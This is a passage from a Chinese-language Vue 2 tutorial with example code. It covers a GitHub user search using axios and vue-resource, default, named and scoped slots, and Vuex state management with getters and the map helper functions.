        <link rel="icon" href="<%= BASE_URL %>favicon.ico">
        <!-- 引入第三方样式 -->
       <link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
        <!-- 配置网页标题 -->
        <title><%= htmlWebpackPlugin.options.title %></title>
      </head>
      <body>
        <!-- 当浏览器不支持js时,noscript标签中的元素就会被渲染 -->
        <noscript>
          <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
        </noscript>
        <!-- 容器 -->
        <div id="app"></div>
        <!-- built files will be auto injected -->
      </body>
    </html>
    
  • src/main.js
    //引入Vue
    import Vue from 'vue'
    //引入App
    import App from './App.vue'
    //关闭Vue的生产提示
    Vue.config.productionTip = false
    
    
    //创建vm
    new Vue({
        el:'#app',
        render : h => h(App),
        beforeCreate(){
            Vue.prototype.$bus = this
        }
       
    })
  • src/App.vue
    <template>
        <div class="container">
            <Search />
            <List />
        </div>
    </template>
    
    <script>
    //引入
    import Search from './components/Search.vue'
    import List from './components/List.vue'
    export default {
        name: 'App',
        components: { Search, List },
    }
    </script>
    
  • src/components/Search.vue
    <template>
        <section class="jumbotron">
            <h3 class="jumbotron-heading">Search Github Users</h3>
            <div>
                <input type="text" placeholder="enter the name you search" v-model="keyWord"/>&nbsp;
                <button @click="searchUsers">Search</button>
            </div>
        </section>
    </template>
    
    <script>
    import axios from 'axios'
    export default {
        name: 'Search',
        data(){
            return {
                keyWord:''
            }
        },
        methods:{
            searchUsers(){
                //请求前更新list的数据
                this.$bus.$emit('updateListData',{isFirst:false,isLoading:true,errMsg:'', users:[]})
                axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
                response =>{
                   console.log('请求成功了')
                   //请求成功后更新list的数据
                   this.$bus.$emit('updateListData',{isLoading:false,errMsg:'', users:response.data.items})
                },
                error =>{
                  //请求失败后更新list的数据
                  console.log('请求失败了',error.message);
                  this.$bus.$emit('updateListData',{isLoading:false,errMsg:error.message, users:[]})
                }
              )
            }
        }
    }
    </script>
    
    <style>
    
    </style>
  • src/components/List.vue
    <template>
        <div class="row">
            <!-- 展示用户列表 -->
            <div class="card" v-show="info.users.length" v-for="user in info.users" :key="user.id">
                <a :href="user.html_url" target="_blank">
                    <img :src="user.avatar_url" style='width: 100px'/>
                </a>
                <p class="card-text">{{user.login}}</p>
            </div>
            <!-- 展示欢迎词 -->
            <h1 v-show="info.isFirst">欢迎使用!</h1>
            <!-- 展示加载中 -->
            <h1 v-show="info.isLoading">加载中...</h1>
            <!-- 展示错误信息 -->
            <h1 v-show="info.errMsg">{{info.errMsg}}</h1>
        </div>
    </template>
    
    <script>
    export default {
        name: 'List',
        data(){
            return {
                info:{
                isFirst:true,
                isLoading:false,
                errMsg:'',
                users:[]
                }
            }
        },
        //list接受数据,Search提供数据
        mounted(){
            this.$bus.$on('updateListData',(dataObj)=>{
                //通过字面量的形式合并两个对象的属性,重名的属性以后面的datObj为主
               this.info={...this.info,...dataObj}
            })
        },
        beforeDestroy(){
            this.$bus.$off('updateListData')
        }
    }
    </script>
    
    <style scoped>
        .album {
            min-height: 50rem;
            /* Can be removed; just added for demo purposes */
            padding-top: 3rem;
            padding-bottom: 3rem;
            background-color: #f7f7f7;
        }
    
        .card {
            float: left;
            width: 33.333%;
            padding: .75rem;
            margin-bottom: 2rem;
            border: 1px solid #efefef;
            text-align: center;
        }
    
        .card>img {
            margin-bottom: .75rem;
            border-radius: 100px;
        }
    
        .card-text {
            font-size: 85%;
        }
    </style>

    效果:

3、vue-resource

下载vue-resource库:npm i vue-resource

 vue项目常用的两个Ajax库:

① axios:通用的Ajax请求库,官方推荐,效率高。

② vue-resource:vue插件库,vue 1.x使用广泛,官方已不维护

  • src/main.js
    //引入Vue
    import Vue from 'vue'
    //引入App
    import App from './App.vue'
    //引入插件
    import vueResource from 'vue-resource'
    //关闭Vue的生产提示
    Vue.config.productionTip = false
    //使用插件
    Vue.use(vueResource)
    
    
    //创建vm
    new Vue({
        el:'#app',
        render : h => h(App),
        beforeCreate(){
            Vue.prototype.$bus = this
        }
       
    })

  • src/components/Search.vue
    <template>
        <section class="jumbotron">
            <h3 class="jumbotron-heading">Search Github Users</h3>
            <div>
                <input type="text" placeholder="enter the name you search" v-model="keyWord"/>&nbsp;
                <button @click="searchUsers">Search</button>
            </div>
        </section>
    </template>
    
    <script>
    export default {
        name: 'Search',
        data(){
            return {
                keyWord:''
            }
        },
        methods:{
            searchUsers(){
                //请求前更新list的数据
                this.$bus.$emit('updateListData',{isFirst:false,isLoading:true,errMsg:'', users:[]})
                this.$http.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
                response =>{
                   console.log('请求成功了')
                   //请求成功后更新list的数据
                   this.$bus.$emit('updateListData',{isLoading:false,errMsg:'', users:response.data.items})
                },
                error =>{
                  //请求失败后更新list的数据
                  console.log('请求失败了',error.message);
                  this.$bus.$emit('updateListData',{isLoading:false,errMsg:error.message, users:[]})
                }
              )
            }
        }
    }
    </script>
    
    <style>
    
    </style>

 

删除axios,将axios替换成this.$http

4、slot插槽

(1)作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于父组件 ===> 子组件。

(2)分类:默认插槽、具名插槽、作用域插槽。

(3)使用方式:

① 默认插槽:

父组件中:
        <Category>
           	<div>html结构1</div>
        </Category>
子组件中:
        <template>
            <div>
               	<slot>插槽默认内容...</slot>
            </div>
        </template>

 ② 具名插槽:

父组件中:
        <Category>
            <template slot="center">
             	 <div>html结构1</div>
            </template>

            <template v-slot:footer>
               	<div>html结构2</div>
            </template>
        </Category>
子组件中:
        <template>
            <div>
               	<slot name="center">插槽默认内容...</slot>
                <slot name="footer">插槽默认内容...</slot>
            </div>
        </template>

 ③ 作用域插槽:

     理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

父组件中:
		<Category>
			<template scope="scopeData">
				<!-- 生成的是ul列表 -->
				<ul>
					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category>
			<template slot-scope="scopeData">
				<!-- 生成的是h4标题 -->
				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
			</template>
		</Category>
子组件中:
        <template>
            <div>
                <slot :games="games"></slot>
            </div>
        </template>
		
        <script>
            export default {
                name:'Category',
                props:['title'],
                //数据在子组件自身
                data() {
                    return {
                        games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                    }
                },
            }
        </script>

4.1 默认插槽

src/App.vue

<template>
    <div class="container">
       <Category title="美食">
        <img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
       </Category>

       <Category title="游戏">
          <ul>
            <li v-for="(game,index) in games" :key="index">{{game}}</li>
          </ul>
       </Category>
       
       <Category title="电影">
         <video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
       </Category>
    </div>
</template>

<script>
//引入
import Category from './components/Category.vue'
export default {
    name: 'App',
    components: { Category },
    data(){
        return {
          foods:['火锅','烧烤','小龙虾','牛排'],
          games:['黎明杀机','生化危机','逃生','怪物猎人'],
          films:['《教父》','《肖申克的救赎》','《天堂电影院》','《穿条纹睡衣的男孩》']
        }
    },
}
</script>
<style lang="css" scoped>
.container {
    display: flex;
    justify-content: space-around;
}
img {
   width: 100%;
}
video {
   width: 100%;
}
</style>

src/components/Category.vue

<template>
  <div class="category">
     <h3>{{title}}的分类</h3>
     <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
     <slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
  </div>

</template>

<script>
export default {
    name:'Category',
    props:['title']

}
</script>

<style>
.category {
    background-color: skyblue;
    width: 200px;
    height: 300px;
}
h3 {
    text-align: center;
    background-color: orange;
}

</style>

效果:

4.2 具名插槽

src/App.vue

<template>
    <div class="container">
       <Category title="美食">
        <img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
        <a slot="footer" href="https://baike.baidu.com/item/%E7%BE%8E%E9%A3%9F/554260?fr=aladdin">更多美食</a>
       </Category>

       <Category title="游戏">
          <ul slot="center">
            <li v-for="(game,index) in games" :key="index">{{game}}</li>
          </ul>
          <div slot="footer" class="foot">
            <a href="https://baike.baidu.com/item/%E5%8D%95%E6%9C%BA%E6%B8%B8%E6%88%8F/6343?fr=aladdin">单机游戏</a>
            <a href="https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F/59904?fr=aladdin">网络游戏</a>
          </div>
       </Category>
       
       <Category title="电影">
         <video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
         <!-- <div slot="footer" class="foot">
            <a href="https://movie.douban.com/">经典</a>
            <a href="https://movie.douban.com/">热门</a>
            <a href="https://movie.douban.com/">推荐</a>
         </div>
         <h4 slot="footer">欢迎前来观影</h4> -->

         <!-- template能包裹元素,但最终不生成真实的DOM元素 -->
         <template v-slot:footer>
          <div class="foot">
            <a href="https://movie.douban.com/">经典</a>
            <a href="https://movie.douban.com/">热门</a>
            <a href="https://movie.douban.com/">推荐</a>
          </div>
          <h4>欢迎前来观影</h4>
         </template>
       </Category>
    </div>
</template>

<script>
//引入
import Category from './components/Category.vue'
export default {
    name: 'App',
    components: { Category },
    data(){
        return {
          foods:['火锅','烧烤','小龙虾','牛排'],
          games:['黎明杀机','生化危机','逃生','怪物猎人'],
          films:['《教父》','《肖申克的救赎》','《天堂电影院》','《穿条纹睡衣的男孩》']
        }
    },
}
</script>
<style lang="css" scoped>
.container,.foot {
    display: flex;
    justify-content: space-around;
}
img {
   width: 100%;
}
video {
   width: 100%;
}
h4 {
  text-align: center;
}
</style>

src/components/Category.vue

<template>
  <div class="category">
     <h3>{{title}}的分类</h3>
     <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
     <slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
     <slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
  </div>

</template>

<script>
export default {
    name:'Category',
    props:['title']

}
</script>

<style>
.category {
    background-color: skyblue;
    width: 200px;
    height: 300px;
}
h3 {
    text-align: center;
    background-color: orange;
}

</style>

效果:

4.3 作用域插槽

src/App.vue

<template>
  <div class="container">

    <Category title="游戏">
      <template scope="xixi">
        <ul>
          <li v-for="(game,index) in xixi.games" :key="index">{{game}}</li>
        </ul>
      </template>
    </Category>


    <Category title="游戏">
      <template scope="{games}">
        <ol>
        <li style="color:red" v-for="(game,index) in games" :key="index">{{game}}</li>
      </ol>
      </template>
    </Category>


    <Category title="游戏">
      <!-- 解构赋值{games} -->
      <template slot-scope="{games}">
        <h4 v-for="(game,index) in games" :key="index">{{game}}</h4>
      </template>
    </Category>


  </div>
</template>

<script>
//引入
import Category from './components/Category.vue'
export default {
  name: 'App',
  components: { Category }
}
</script>
<style lang="css" scoped>
.container,
.foot {
  display: flex;
  justify-content: space-around;
}

img {
  width: 100%;
}

video {
  width: 100%;
}

h4 {
  text-align: center;
}
</style>

src/components/Category.vue

<template>
    <div class="category">
        <h3>{{title}}的分类</h3>
        <!-- 把games数据传给了插槽的使用者 -->
        <slot :games="games"></slot>

    </div>

</template>

<script>
export default {
    name: 'Category',
    props: ['title'],
    data() {
        return {
            games: ['黎明杀机', '生化危机', '逃生', '怪物猎人'],
        }
    },

}
</script>

<style>
.category {
    background-color: skyblue;
    width: 200px;
    height: 300px;
}

h3 {
    text-align: center;
    background-color: orange;
}
</style>

七、Vuex

1、理解Vuex

1.1 Vuex是什么

(1)概念:专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组价你的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信

(2)Github地址:https://github.com/vuejs/vuex

 

1.2 什么时候使用Vuex(共享)

(1)多个组件依赖于同一状态

(2)来自不同组件的行为需要变更同一状态

1.3 Vuex工作原理图

 

2、求和案例

2.1 使用纯vue编写

src/App.vue

<template>
  <div>
    <Count/>
  </div>
</template>

<script>
import Count from './components/Count.vue'
export default {
  name:'App',
  components:{Count}


}
</script>

src/compoents.Count.vue

<template>
    <div>
        <h1>当前求和为:{{sum}}</h1>
        <!-- v-model.number="n"将收集到的数据强制进行nubmer类型转换 -->
        <select v-model.number="n">
            <!-- value加:,:value="1"就会当做js表达式去解析,就是纯粹是数字 1 2 3  -->
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
        </select>
        <button @click="increment">+</button>
        <button @click="decrement">-</button>
        <button @click="incrementOdd">当前求和为奇数再加</button>
        <button @click="incrementWait">等一等再加</button>
    </div>
</template>

<script>
export default {
    name: 'Count',
    data() {
        return {
            n:1,    //用户选择的数字
            sum: 0  //当前的和
        }
    },
    methods: {
        increment() {
            this.sum += this.n
        },
        decrement() {
            this.sum -= this.n
        },
        incrementOdd() {
            if (this.sum % 2) {
                this.sum += this.n
            }
        },
        incrementWait() {
            setTimeout(() => {
                this.sum += this.n
            }, 500);

        }
    }

}
</script>

<style lang="css">
button {
    margin-left: 5px;
}
</style>

效果:

2.2 搭建Vuex环境

(1)下载Vuex:npm i vuex

         2022年2月7日,vue3成了默认版本,执行以上操作,安装的直接就是vue3。

         vue3成为默认版本的同时,vuex也更新到了4版本。

         vuex的4版本,只能在vue3中使用。

         如果在一个vue2的项目中安装vuex4版本,就会发生如下图所示的报错:

 vue2中, 要用vuex的3版本。

 vue3中, 要用vuex的4版本。

(2)创建src/store/index.js

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)
   
//准备actions对象——响应组件中用户的动作、处理业务逻辑
const actions = {}
//准备mutations对象——修改state中的数据
const mutations = {}
//准备state对象——保存具体的数据
const state = {}
   
//创建并暴露store
export default new Vuex.Store({
   	actions,
   	mutations,
   	state
})

(3)在src/main.js中创建vm时传入store配置项

import Vue from 'vue'
import App from './App.vue'
import Vuex from 'vuex'
import store from './store'

Vue.config.productionTip = false

Vue.use(Vuex)

new Vue({
    el:"#app",
    render: h => h(App),
    store
})

2.3 使用Vuex编写

Vuex的基本使用:

(1)初始化数据state,配置actions、mutations、操作文件store.js

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//引用Vuex
Vue.use(Vuex)

const actions = {
    //响应组件中加的动作
	jia(context,value){
		// console.log('actions中的jia被调用了',miniStore,value)
		context.commit('JIA',value)
	},
}

const mutations = {
    //执行加
	JIA(state,value){
		// console.log('mutations中的JIA被调用了',state,value)
		state.sum += value
	}
}

//初始化数据
const state = {
   sum:0
}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
})

 (2)组件中读取vuex中的数据:$store.state.sum

(3)组件中修改vuex中的数据:$store.dispatch(‘action中的方法名’,数据)或$store.commit(‘mutations中的方法名’,数据)

备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

  • src/compoents/Count.vue
<template>
    <div>
        <h1>当前求和为:{{$store.state.sum}}</h1>
        <!-- v-model.number="n"将收集到的数据强制进行nubmer类型转换 -->
        <select v-model.number="n">
            <!-- value加:,:value="1"就会当做js表达式去解析,就是纯粹是数字 1 2 3  -->
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
        </select>
        <button @click="increment">+</button>
        <button @click="decrement">-</button>
        <button @click="incrementOdd">当前求和为奇数再加</button>
        <button @click="incrementWait">等一等再加</button>
    </div>
</template>

<script>

export default {
    name: 'Count',
    data() {
        return {
            n:1,    //用户选择的数字
           
        }
    },
    methods: {
        increment() {
           this.$store.commit('JIA',this.n)
        },
        decrement() {
           this.$store.commit('JIAN',this.n)
        },
        incrementOdd() {
            this.$store.dispatch('jiaOdd',this.n)
        },
        incrementWait() {
            this.$store.dispatch('jiaWait',this.n)
        }
    }
}
</script>

<style lang="css">
button {
    margin-left: 5px;
}
</style>
  • src/store/index.js
//该文件用于创建Vuex中最为核心的store
//引入Vuex
import Vue from 'vue'
import Vuex from 'vuex'
//使用Vuex插件
Vue.use(Vuex)

//准备actions:用于相应组件中的动作
const actions = {
  // jia(context, value) {
  //   // console.log('actions中的jia被调用');
  //   context.commmit('JIA', value)
  // },
  // jian(context, value) {
  //   // console.log('actions中的jian被调用');
  //   context.commmit('JIAN', value)
  // },
  jiaOdd(context, value) {
    if (context.state.sum % 2)
      context.commit('JIA', value)
  },
  jiaWait(context, value) {
    setTimeout(() => {
      context.commit('JIA', value)
    }, 500)
  }
}

//准备mutations:用于操作数据(state)
const mutations = {
  JIA(state, value) {
    //  console.log('mutations中的JIA被调用')
    state.sum += value
  },
  JIAN(state, value) {
    //  console.log('mutations中的JIAN被调用')
    state.sum -= value
  },
}

//准备state:用于存储数据
const state = {
  sum: 0  //当前的和
}


//创建并暴露store
export default new Vuex.Store({
  actions,
  mutations,
  state,
})


3、getters配置项

(1)概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。

(2)在store.js中追加getters配置

...
const getters = {
	bigSum(state){
		return state.sum * 10
	}
}

//创建并暴露store
export default new Vuex.Store({
	...
	getters
})

(3) 组件中读取数据:$store.getters.bigSum

  • src/Count.vue
<template>
    <div>
        <h1>当前求和为:{{$store.state.sum}}</h1>
        <h1>当前求和放大10倍为:{{$store.getters.bigSum}}</h1>
        <!-- v-model.number="n"将收集到的数据强制进行nubmer类型转换 -->
        <select v-model.number="n">
            <!-- value加:,:value="1"就会当做js表达式去解析,就是纯粹是数字 1 2 3  -->
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
        </select>
        <button @click="increment">+</button>
        <button @click="decrement">-</button>
        <button @click="incrementOdd">当前求和为奇数再加</button>
        <button @click="incrementWait">等一等再加</button>
    </div>
</template>

<script>

export default {
    name: 'Count',
    data() {
        return {
            n:1,    //用户选择的数字
           
        }
    },
    methods: {
        increment() {
           this.$store.commit('JIA',this.n)
        },
        decrement() {
           this.$store.commit('JIAN',this.n)
        },
        incrementOdd() {
            this.$store.dispatch('jiaOdd',this.n)
        },
        incrementWait() {
            this.$store.dispatch('jiaWait',this.n)
        }
    },
    mounted(){
        console.log('Count',this.$store);
    }
}
</script>

<style lang="css">
button {
    margin-left: 5px;
}
</style>
  • src/store/index.js
//该文件用于创建Vuex中最为核心的store
//引入Vuex
import Vue from 'vue'
import Vuex from 'vuex'
//使用Vuex插件
Vue.use(Vuex)

//准备actions:用于相应组件中的动作
const actions = {
  // jia(context, value) {
  //   // console.log('actions中的jia被调用');
  //   context.commmit('JIA', value)
  // },
  // jian(context, value) {
  //   // console.log('actions中的jian被调用');
  //   context.commmit('JIAN', value)
  // },
  jiaOdd(context, value) {
    if (context.state.sum % 2)
      context.commit('JIA', value)
  },
  jiaWait(context, value) {
    setTimeout(() => {
      context.commit('JIA', value)
    }, 500)
  }
}

//准备mutations:用于操作数据(state)
const mutations = {
  JIA(state, value) {
    //  console.log('mutations中的JIA被调用')
    state.sum += value
  },
  JIAN(state, value) {
    //  console.log('mutations中的JIAN被调用')
    state.sum -= value
  },
}

//准备state:用于存储数据
const state = {
  sum: 0  //当前的和
}

//准备getters:用于将state中的数据进行加工
const getters = {
  bigSum(){
    return state.sum *10 
  }
}


//创建并暴露store
export default new Vuex.Store({
  actions,
  mutations,
  state,
  getters
})


 效果:

4、四个map方法的使用

4.1 mapState与mapGetters

(1)mapState方法:用于帮助我们映射state中的数据

computed: {
    //借助mapState生成计算属性:sum、school、subject(对象写法)
     ...mapState({sum:'sum',school:'school',subject:'subject'}),
         
    //借助mapState生成计算属性:sum、school、subject(数组写法)
    ...mapState(['sum','school','subject']),
},

(2)mapGetters方法:用于帮助我们映射getters中的数据

computed: {
    //借助mapGetters生成计算属性:bigSum(对象写法)
    ...mapGetters({bigSum:'bigSum'}),

    //借助mapGetters生成计算属性:bigSum(数组写法)
    ...mapGetters(['bigSum'])
},

  • src/store/index.js
//该文件用于创建Vuex中最为核心的store
//引入Vuex
import Vue from 'vue'
import Vuex from 'vuex'
//使用Vuex插件
Vue.use(Vuex)

//准备actions:用于相应组件中的动作
const actions = {
  // jia(context, value) {
  //   // console.log('actions中的jia被调用');
  //   context.commmit('JIA', value)
  // },
  // jian(context, value) {
  //   // console.log('actions中的jian被调用');
  //   context.commmit('JIAN', value)
  // },
  jiaOdd(context, value) {
    if (context.state.sum % 2)
      context.commit('JIA', value)
  },
  jiaWait(context, value) {
    setTimeout(() => {
      context.commit('JIA', value)
    }, 500)
  }
}

//准备mutations:用于操作数据(state)
const mutations = {
  JIA(state, value) {
    //  console.log('mutations中的JIA被调用')
    state.sum += value
  },
  JIAN(state, value) {
    //  console.log('mutations中的JIAN被调用')
    state.sum -= value
  },
}

//准备state:用于存储数据
const state = {
  sum: 0,  //当前的和
  name:'玛卡巴卡',
  age:'18'
}

//准备getters:用于将state中的数据进行加工
const getters = {
  bigSum(){
    return state.sum *10 
  }
}


//创建并暴露store
export default new Vuex.Store({
  actions,
  mutations,
  state,
  getters
})


  • src/compoents/Count.js
<template>
    <div>
        <h1>当前求和为:{{sum}}</h1>
        <h1>当前求和放大10倍为:{{bigSum}}</h1>
        <h3>我叫{{name}},今年{{age}}岁</h3>
        <!-- v-model.number="n"将收集到的数据强制进行nubmer类型转换 -->
        <select v-model.number="n">
            <!-- value加:,:value="1"就会当做js表达式去解析,就是纯粹是数字 1 2 3  -->
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
        </select>
        <button @click="increment">+</button>
        <button @click="decrement">-</button>
        <button @click="incrementOdd">当前求和为奇数再加</button>
        <button @click="incrementWait">等一等再加</button>
    </div>
</template>

<script>
import {mapState,mapGetters} from 'vuex'
export default {
    name: 'Count',
    data() {
        return {
            n:1,    //用户选择的数字
           
        }
    },
    methods: {
        increment() {
           this.$store.commit('JIA',this.n)
        },
        decrement() {
           this.$store.commit('JIAN',this.n)
        },
        incrementOdd() {
            this.$store.dispatch('jiaOdd',this.n)
        },
        incrementWait() {
            this.$store.dispatch('jiaWait',this.n)
        }
    },
    computed:{
       // 借助mapState生成计算属性(对象写法)
    //    ...mapState({sum:'sum',name:'name',age:'age'}),
       // 借助mapState生成计算属性(数组写法)
       ...mapState(['sum','name','age']),
       ...mapGetters(['bigSum'])
    },

    mounted(){
        console.log('Count',this.$store);

    }
}
</script>

<style lang="css">
button {
    margin-left: 5px;
}
</style>

4.2 mapActions与mapMutations

(1)mapActions方法:用于帮助我们生成与actions对话的方法。

         即:包含$store.dispatch(xxx)的函数。

methods:{
    //靠mapActions生成:incrementOdd、incrementWait(对象形式)
    ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

    //靠mapActions生成:incrementOdd、incrementWait(数组形式)
    ...mapActions(['jiaOdd','jiaWait'])
}

(2)mapMutations方法:用于帮助我们生成与mutations对话的方法。

         即:包含$storecommit(xxx)的函数。

methods:{
    //靠mapActions生成:increment、decrement(对象形式)
    ...mapMutations({increment:'JIA',decrement:'JIAN'}),
    
    //靠mapMutations生成:JIA、JIAN(对象形式)
    ...mapMutations(['JIA','JIAN']),
}

 备注:mapActions与mapMutations使用时,若需要传递参数,则需要在模板中绑定事件时传递好参数,否则参数是事件对象。

  • src/compoents/Count.js
<template>
    <div>
        <h1>当前求和为:{{sum}}</h1>
        <h1>当前求和放大10倍为:{{bigSum}}</h1>
        <h3>我叫{{name}},今年{{age}}岁</h3>
        <!-- v-model.number="n"将收集到的数据强制进行nubmer类型转换 -->
        <select v-model.number="n">
            <!-- value加:,:value="1"就会当做js表达式去解析,就是纯粹是数字 1 2 3  -->
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
        </select>
        <button @click="increment(n)">+</button>
        <!-- <button @click="JIA(n)">+</button> -->
        <button @click="decrement(n)">-</button>
        <!-- <button @click="JIAN(n)">+</button> -->

        <button @click="incrementOdd(n)">当前求和为奇数再加</button>
        <!-- <button @click="jiaOdd(n)">当前求和为奇数再加</button> -->
        <button @click="incrementWait(n)">等一等再加</button>
        <!-- <button @click="jiaWait(n)">等一等再加</button> -->
    </div>
</template>

<script>
import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
export default {
    name: 'Count',
    data() {
        return {
            n:1,    //用户选择的数字
           
        }
    },
    methods: {
        // increment() {
        //    this.$store.commit('JIA',this.n)
        // },
        // decrement() {
        //    this.$store.commit('JIAN',this.n)
        // },

        //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        // ...mapMutations(['JIA','JIAN']),

        /* ************************************************ */
        // incrementOdd() {
        //     this.$store.dispatch('jiaOdd',this.n)
        // },
        // incrementWait() {
        //     this.$store.dispatch('jiaWait',this.n)
        // }

        //借助mapActions生成对应的方法,方法中会调用commit去联系actions
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
        // ...mapActions(['jiaOdd','jiaWait'])s
        
    },
    computed:{
       // 借助mapState生成计算属性(对象写法)
    //    ...mapState({sum:'sum',name:'name',age:'age'}),
       // 借助mapState生成计算属性(数组写法)
       ...mapState(['sum','name','age']),
       ...mapGetters(['bigSum'])
    },

    mounted(){
        console.log('Count',this.$store);

    }
}
</script>

<style lang="css">
button {
    margin-left: 5px;
}
</style>

5、多组件共享数据

  • src/App.vue
<template>
  <div>
  <Count/>
  <hr>
  <Person/>
  </div>
</template>

<script>
import Count from './components/Count.vue'
import Person from './components/Person.vue'
export default {
  name:'App',
  components:{Count,Person}


}
</script>

  • src/store/index.js
//该文件用于创建Vuex中最为核心的store
//引入Vuex
import Vue from 'vue'
import Vuex from 'vuex'
//使用Vuex插件
Vue.use(Vuex)

//准备actions:用于相应组件中的动作
const actions = {
  // jia(context, value) {
  //   // console.log('actions中的jia被调用');
  //   context.commmit('JIA', value)
  // },
  // jian(context, value) {
  //   // console.log('actions中的jian被调用');
  //   context.commmit('JIAN', value)
  // },
  jiaOdd(context, value) {
    if (context.state.sum % 2)
      context.commit('JIA', value)
  },
  jiaWait(context, value) {
    setTimeout(() => {
      context.commit('JIA', value)
    }, 500)
  }
}

//准备mutations:用于操作数据(state)
const mutations = {
  JIA(state, value) {
    //  console.log('mutations中的JIA被调用')
    state.sum += value
  },
  JIAN(state, value) {
    //  console.log('mutations中的JIAN被调用')
    state.sum -= value
  },
  ADD_PERSON(state,personObj) {
    //  console.log('mutations中的ADD_PERSON被调用')
    state.personList.unshift(personObj)
  }
}

//准备state:用于存储数据
const state = {
  sum: 0,  //当前的和
  name: '玛卡巴卡',
  age: '18',
  personList:[
    { id: '001', name: '张三' }
  ]
    
}

//准备getters:用于将state中的数据进行加工
const getters = {
  bigSum() {
    return state.sum * 10
  }
}


//创建并暴露store
export default new Vuex.Store({
  actions,
  mutations,
  state,
  getters
})


  • src/components/Count.vue
<template>
    <div>
        <h1>当前求和为:{{sum}}</h1>
        <h1>当前求和放大10倍为:{{bigSum}}</h1>
        <h3>我叫{{name}},今年{{age}}岁</h3>
        <h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3>
        <!-- v-model.number="n"将收集到的数据强制进行nubmer类型转换 -->
        <select v-model.number="n">
            <!-- value加:,:value="1"就会当做js表达式去解析,就是纯粹是数字 1 2 3  -->
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
        </select>
        <button @click="increment(n)">+</button>
        <!-- <button @click="JIA(n)">+</button> -->
        <button @click="decrement(n)">-</button>
        <!-- <button @click="JIAN(n)">+</button> -->

        <button @click="incrementOdd(n)">当前求和为奇数再加</button>
        <!-- <button @click="jiaOdd(n)">当前求和为奇数再加</button> -->
        <button @click="incrementWait(n)">等一等再加</button>
        <!-- <button @click="jiaWait(n)">等一等再加</button> -->
    </div>
</template>

<script>
import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
export default {
    name: 'Count',
    data() {
        return {
            n:1,    //用户选择的数字
           
        }
    },
    methods: {
        // increment() {
        //    this.$store.commit('JIA',this.n)
        // },
        // decrement() {
        //    this.$store.commit('JIAN',this.n)
        // },

        //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        // ...mapMutations(['JIA','JIAN']),

        /* ************************************************ */
        // incrementOdd() {
        //     this.$store.dispatch('jiaOdd',this.n)
        // },
        // incrementWait() {
        //     this.$store.dispatch('jiaWait',this.n)
        // }

        //借助mapActions生成对应的方法,方法中会调用commit去联系actions
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
        // ...mapActions(['jiaOdd','jiaWait'])s
        
    },
    computed:{
       // 借助mapState生成计算属性(对象写法)
       //...mapState({sum:'sum',name:'name',age:'age'}),
       // 借助mapState生成计算属性(数组写法)
       ...mapState(['sum','name','age','personList']),
       ...mapGetters(['bigSum'])
    },

    mounted(){
        console.log('Count',this.$store);

    }
}
</script>

<style lang="css">
button {
    margin-left: 5px;
}
</style>
  • src/components/Person.vue
<template>
  <div>
    <h1>人员列表</h1>
    <h3 style="color:red">Count组件的求和为:{{sum}}</h3>
     <input type="text" placeholder="请输入名字" v-model="name">
     <button @click="add">添加</button>
     <ul>
        <li v-for="p in personList" :key="p.id">{{p.name}}</li>
     </ul>
  </div>
</template>

<script>
import {nanoid} from 'nanoid'
// import {mapState} from 'vuex'
export default {
    name:'Person',
    data(){
        return {
            name:''
        }
    },
    computed:{
        personList(){
            return this.$store.state.personList
        },
        // ...mapState(['personList'])
        sum(){
            return this.$store.state.sum
        }
    },
    methods:{
        add(){
            const personObj = {id:nanoid(),name:this.name}
            this.$store.commit('ADD_PERSON',personObj)
            this.name=''

        }
    }


}
</script>

<style>

</style>

效果:

6、模块化+命名空间

